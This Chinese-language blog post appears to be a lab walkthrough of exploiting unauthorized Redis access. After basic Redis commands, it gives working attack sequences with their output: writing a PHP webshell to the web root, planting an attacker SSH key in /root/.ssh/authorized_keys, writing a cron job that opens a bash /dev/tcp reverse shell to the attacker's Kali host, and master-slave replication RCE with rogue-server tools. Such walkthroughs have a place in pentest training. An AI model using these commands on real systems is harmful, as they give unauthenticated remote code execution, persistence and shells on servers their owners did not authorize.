目 录CONTENT

文章目录

Redis 数据库漏洞

Administrator
2024-12-08 / 0 评论 / 0 点赞 / 8 阅读 / 0 字

一.Redis介绍

Redis(全称为Remote Dictionary Server)是一个开源的高性能键值对存储系统,具有快速、灵活和可扩展的特性。它是一个基于内存的数据结构存储系统,可以用作数据库、缓存和消息代理。

二.Redis基本使用

基本命令

set xz "Hacker"                  # 设置键xz的值为字符串Hacker
get xz                           # 获取键xz的内容
SET score 857                    # 设置键score的值为857
INCR score                       # 使用INCR命令将score的值增加1
GET score                        # 获取键score的内容
keys *                           # 列出当前数据库中的所有键
config set protected-mode no     # 关闭安全模式
get anotherkey                   # 获取一个不存在的键的值
config set dir /root/redis       # 设置保存目录
config set dbfilename redis.rdb  # 设置保存文件名
config get dir                   # 查看保存目录
config get dbfilename            # 查看保存文件名
save                             # 进行一次保存操作
flushall                         # 删除所有数据
del key                          # 删除键key的数据
slaveof ip port                   # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接

1.使用SET和GET命令,可以完成基本的赋值和取值操作;

2.Redis是不区分命令的大小写的,set和SET是同一个意思;

3.使用keys *可以列出当前数据库中的所有键;

4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);

5.如果键的值中有空格,需要使用双引号括起来,如"Hello world"

设置键和值

set 键 值

列出所有键

keys *

列出所有值

需要写个脚本

#!/bin/bash

# 连接到远程 Redis 服务器
REDIS_HOST="192.168.100.118"
REDIS_PORT="6379"

# 获取所有键并打印键值对
redis-cli -h $REDIS_HOST -p $REDIS_PORT KEYS '*' | while read key; do
  value=$(redis-cli -h $REDIS_HOST -p $REDIS_PORT GET "$key")
  echo "$key: $value"
done

三.Redis未授权

漏洞描述:

   默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis

   Redis还支持本地存储,也就导致任意文件写入,攻击者在未授权访问以root身份运行的Redis时可将ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys 文件中,进而通过对应私钥直接登录目标服务器

漏洞产生条件:

Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略

没有设置密码认证,可以免密码远程登录Redis服务

以root身份运行Redis

进入redis,首先关注的是版本号,然后是路径,

先根据版本号找对应的漏洞,

看路径是看出他运行在那种操作系统,windows还是Linux,

windows上只能写webshell,因为反弹shell只有主从复制和写历史任务,而主从复制只有linux上才有,

四.Redis多种利用方式

当我们拿到Redis服务的权限时,要想进一步进行利用可以用以下几种方式:

1、Redis写入Webshell

  当redis-server以非root身份运行时,无法将/var/spool/cron/以及/root/.ssh设置为本地存储文件夹但可以写入一句话木马

192.168.100.118:6379> config set dir /tmp
OK
192.168.100.118:6379> set shell "<?php phpinfo();?>"
OK
192.168.100.118:6379> config set dbfilename shell.php
OK
192.168.100.118:6379> save
OK

但是这里保存有点问题

  • 原因:Redis 的 SAVE 命令保存的是 RDB 二进制文件,它包含数据库的元数据和数据,所以会出现乱码。Redis 在

  • 执行 SAVE 命令时,会将数据存储到一个二进制格式的 RDB 文件中,该格式包含:

    • 文件头(REDIS0007 表示 RDB 格式版本 7)

    • Redis 版本信息、时间戳、键值数据等。

  • 解决:使用 redis-cli 导出键值对内容,并通过重定向保存为文本文件。

绝对路径写webshell

192.168.100.118:6379> config set dir /var/www/html
OK
192.168.100.118:6379> config set dbfilename shell.php
OK
192.168.100.118:6379> set xz "\n\n\n<?php phpinfo();?>\n\n\n"
OK
192.168.100.118:6379> get xz
"\n\n\n<?php phpinfo();?>\n\n\n"
192.168.100.118:6379> save
OK
192.168.100.118:6379> 

查看靶机

这里的set xz "\n\n\n<?php phpinfo();?>\n\n\n"

就是为了有时候php解析文件遇到乱码会报错,所以添加了换行

2、Redis写密钥登陆主机

漏洞原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

利用条件:redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入

kali生成密钥文件

id_ed25519 是私钥

id_ed25519.pub 是公钥

靶机还没ssh目录

先在靶机配置好目录和认证文件

然后操作redis

192.168.100.118:6379> config set dir /root/.ssh
OK
192.168.100.118:6379> config set dbfilename authorized_keys
OK
192.168.100.118:6379> set sshkey "\n\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFX1ZljZQS2JcmxBw4f7tvHd178H3+kali\n\n\n"
OK
192.168.100.118:6379> save
OK
192.168.100.118:6379> 

查看靶机

公钥已经写进去了

使用私钥去登录

flushall # 删除所有数据

3、利用计划任务反弹shell
set shell "\n\n* * * * * bash -i >& /dev/tcp/192.168.100.100/10000 0>&1 \n\n"   * 号表示计划任务的时间 

Config set dir /var/spool/cron/ 

Config dbfilename root 

save   

192.168.100.118:6379> config set dir /var/spool/cron

192.168.100.118:6379> config set dbfilename root

192.168.100.118:6379> SET shell "\n\n* * * * * bash -i >& /dev/tcp/192.168.100.100/10000 0>&1 \n\n"

192.168.100.118:6379> save

这个写计划任务有点问题,

SET shell "\n\n* * * * * bash -i >& /dev/tcp/192.168.100.100/10000 0>&1 \n\n"

这一步在redis中写的话,在靶机的文件中是乱码,没法执行,所以换了一种方法

另一种方法

redis-cli -h 192.168.100.118 -p 6379 SET shell $'\n\n\n* * * * * bash -i >& /dev/tcp/192.168.100.100/10000 0>&1\n\n\n'

OK

redis-cli -h 192.168.100.118 -p 6379 --raw GET shell > /var/spool/cron/root

然后再去redis中输入save保存

查看靶机已经写进去计划任务了

反弹shell也收到了

4、主从复制RCE

漏洞原理:

   漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server

该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。

└─# python3 redis-rogue-server.py -h

@copyright n0b0dy @ r3kapig

Usage: redis-rogue-server.py [options]

Options:

-h, --help           show this help message and exit
-h, --help 显示此帮助消息并退出
--rhost=REMOTE_HOST  target host
--rhost=REMOTE_HOST 目标主机
--rport=REMOTE_PORT  target redis port, default 6379
--rport=REMOTE_PORT 目标 redis 端口,默认 6379
--lhost=LOCAL_HOST   rogue server ip
--lhost=LOCAL_HOST 恶意服务器 ip
--lport=LOCAL_PORT   rogue server listen port, default 21000
--lport=LOCAL_PORT 恶意服务器监听端口,默认 21000
--exp=EXP_FILE       Redis Module to load, default exp.so
--exp=EXP_FILE 要加载的 Redis 模块,默认 exp.so
-v, --verbose        Show full data stream
-v, --verbose 显示完整数据流
--passwd=RPASSWD     target redis password
--passwd=RPASSWD 目标 redis 密码

python3 redis-rogue-server.py --rhost 192.168.100.118 --lhost 192.168.100.100

然后让询问What do u want, [i]nteractive shell or [r]everse shell: i

i 是交互式shell

What do u want, [i]nteractive shell or [r]everse shell: r

r 是反弹shell

收到反弹shell

提升交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

如果存在密码可以使用下面这个工具。

Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

先将module列表清空

开启监听

python3 redis_rogue_server.py -v -path ../redis-rogue-server/exp.so

这时靶机的redis就会去从kali那边把module复制过来

等他复制完后

然后就可以执行反弹shell了

system.rev 192.168.100.100 10000

kali收到反弹shell

-.-

0

评论区